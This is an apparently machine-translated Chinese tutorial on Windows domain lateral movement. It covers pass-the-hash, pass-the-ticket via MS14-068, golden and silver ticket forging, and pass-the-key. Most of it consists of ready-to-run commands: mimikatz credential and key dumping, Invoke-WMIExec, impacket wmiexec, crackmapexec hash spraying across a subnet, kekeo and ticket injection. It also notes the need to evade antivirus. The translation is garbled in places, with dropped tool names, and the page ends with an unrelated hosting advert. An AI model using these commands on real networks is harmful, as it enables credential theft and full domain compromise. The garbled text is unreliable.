PTH(传递哈希)
Pass-the-hash是内网渗透中非常经典的攻击方式。原理是攻击者可以通过LM Hash和NTLM Hash直接访问远程主机或服务,而无需提供明文密码。
传递hash原理:
此类攻击适用于:
微软还修复了 pth.然而,在测试过程中发现,应用补丁后,常规的 Pass The Hash 不再能够成功,除了默认(SID 500)帐户之外。您仍然可以使用此帐户远程传递哈希。 ipc 连接。
如果禁用ntlm身份验证,则获得的ntlm hash无法用于远程连接,但攻击仍然可以成功。
这种从横向到横向的攻击方式比较普遍。
一,
pth函数需要本地管理员权限,这是由其实现机制决定的。您需要先获取高权限进程lsass.exe的信息。
对于 Win 8.1/,修补了 Win 7//8/2012,您可以使用 AES 密钥而不是 NT 哈希
首先使用来获取哈希值:
privilege::debug
sekurlsa::logonpasswords
得到哈希后
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7
您可以看到已使用 NTML 哈希。这样,您就不需要提供明文密码来访问远程主机或服务。
哈希传递成功~
二,
WMI 可以描述为一组用于管理系统的方法和功能。我们可以将它作为API来与系统进行通信。 WMI在渗透测试中的价值在于它不需要下载和安装,因为WMI是系统内置的功能。并且整个运行过程都发生在计算机内存中,不留任何痕迹。这是其他渗透测试工具无法比拟的。
对内置 wmic 进行了一些增强,使渗透变得更容易。只能说工具很多。这里有两个比较有用的:
第一种:
https://github.com/Kevin-Robertson/Invoke-TheHash
你可以看看其他的攻击方法。这是一个关于 pth 的简单实验:
Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
查看192.168.3.21机器,发现calc.exe进程已经启动。
此外,还有-SMB等脚本可以利用,利用方法几乎相同:
-:
支持 SMB1、SMB2 (2.1) 和 SMB
Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
通过在目标主机上创建服务来执行命令,因此权限为
-:
支持 SMB1、SMB2 (2.1) 和 SMB。如果您只有SMB文件共享权限而没有远程执行权限,则可以使用此脚本。
支持的功能包括列出目录、上传文件、下载文件、删除文件(具体权限取决于密码哈希的权限)
第二种:
.py脚本地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
.exe是通过库实现的。生成的exe有点大。 5M的大小在实际中有点不方便:
https://github.com/maaaaz/impacket-examples-windows
.py 中的注释提示“这里主要是它在用户下运行(必须是管理员)”。经过实际测试,普通用户权限足够了。
参数示例:
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"
.py的哈希参数格式为LM Hash:NT Hash。由于hash是2008年的,系统默认不支持LM hash,所以LM hash可以设置为任意值。
三,
可以在C网段的主机上执行批量pth,项目地址:
https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
对192.168.3.0/24 C段进行批量pass the hash
PTT(通过)
ptt攻击的部分并不是简单的NTLM认证。它使用协议进行攻击。以下是三种常见的攻击方法:
MS14-068,,,。
协议的具体工作方法前面已经介绍过。在中,简单介绍一下:
1.ms14-068
MS14-068 是密钥分发中心 (KDC) 服务中的一个漏洞。它允许经过身份验证的用户在其票证 (TGT) 中插入任意 PAC(代表所有用户权限的结构)。该漏洞存在于 .dll 域控制器的密钥分发中心 (KDC) 中。用户可以通过出示带有更改后的 PAC 的 TGT 来获取门票。
ms14-068详细介绍:
https://www.freebuf.com/vuls/56081.html
简单来说就是:
在域内使用该协议的过程中,为了让SS服务器判断自己是否有权限访问该服务,引入了PAC机制。构建PAC也是这个漏洞的根源。
1、请求AS时,设置为False。
2、请求TGS时,构造PAC,然后使用MD5签名(PAC末尾的签名算法可以任意指定)。 PAC不是在TGT中发送,而是在请求数据包的其他位置发送(但仍然可以解析)。
3.返回的不是会话密钥,而是带有PAC的TGT(微软的错)
造成的危害是允许域中的任何普通用户将自己提升为域管理权限。微软提供的补丁是
下面介绍一下ms14-068的使用过程:
1.使用/user获取普通域用户的sid
2. 执行生成TGT票据:
使用工具:ms14-068
使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
运行示例:
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
如果操作正确,域机可以与域控制器通信,则.将创建文件。
3、票据注入:
用于将票据注入当前内存并伪造凭证。如果成功,您将拥有域管理权限并可以访问域中的所有机器。
mimikatz
显示:OK表示注射成功~
4、检查注入是否成功并登录域控:
查看列表:
发现凭证已被注入。可以使用net use登录,也可以使用wmi等方式远程执行命令。注意这里登录时必须使用机器名,而不是IP,否则攻击不会成功。
可以看到我们已经升级到域控权限了。
考虑到pth函数需要本地管理员权限,所以还提供了不需要管理员权限的解决方案Pass-The-
通过-需要使用另一个开源工具kekeo,下载地址:
https://github.com/gentilkiwi/kekeo/releases
使用方法:
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
执行后生成票据:
TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
接下来导入门票:
kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
成功获得域控制器的访问权限:
2.(金音符)
它的作用是为任意用户生成tgt,那么问题来了,什么条件允许它为任意用户生成tgt?它还取决于身份验证过程。在认证过程中,客户端将自己的信息发送给KDC,然后KDC使用用户密码的散列作为密钥进行加密并生成TGT。
那么如果你得到了密码哈希值,你能伪造任何tgt吗?因为它只在域控制器上可用,所以使用黄金凭据意味着您之前已经获得了域控制器的权限。黄金凭证可以理解为后门。
锻造金券需要具备以下条件:
首先登录域控制器,转储用户的哈希值,并获取域sid:
privilege::debug
lsadump::lsa /patch
切换到普通域用户的计算机并生成 TGT 凭据。用户名是:
然后使用注入凭据,攻击成功:
mimikatz # kerberos::ptt test.kirbi
如果主机开启了RPC服务,也可以使用.vbs直接连接:
3.(银币)
不同的是它不需要与域控制器通信。其原理是伪造TGS并使用计算机帐户的哈希对其进行加密,因此只能访问指定的权限。
它不像是通过用户的密码哈希加密的,假的 tgt 可以获得所有权限。
Note此处仅授权单一服务。使用过程类似。首先,到域控制器上,转储本机的ntlm hash(rc4加密),然后在普通域用户机器上伪造权限来执行ptt。
1.首先登录域控制器并转储机器哈希
privilege::debug
sekurlsa::logonpasswords
2.保存hash并在普通域用户机器上执行ptt
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21 /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
这里的cifs指的是文件共享服务。拥有cifs服务权限,可以访问域控制器的文件系统:
PTK(传递密钥)
它仍然是您使用的工具,但您需要避免杀死它。
获取用户的 aes 密钥:
mimikatz "privilege::debug" "sekurlsa::ekeys"
注入 aes 密钥:
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
注入成功,尝试远程连接:
如果访问被拒绝,请尝试安装补丁
扫一扫在手机端查看
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。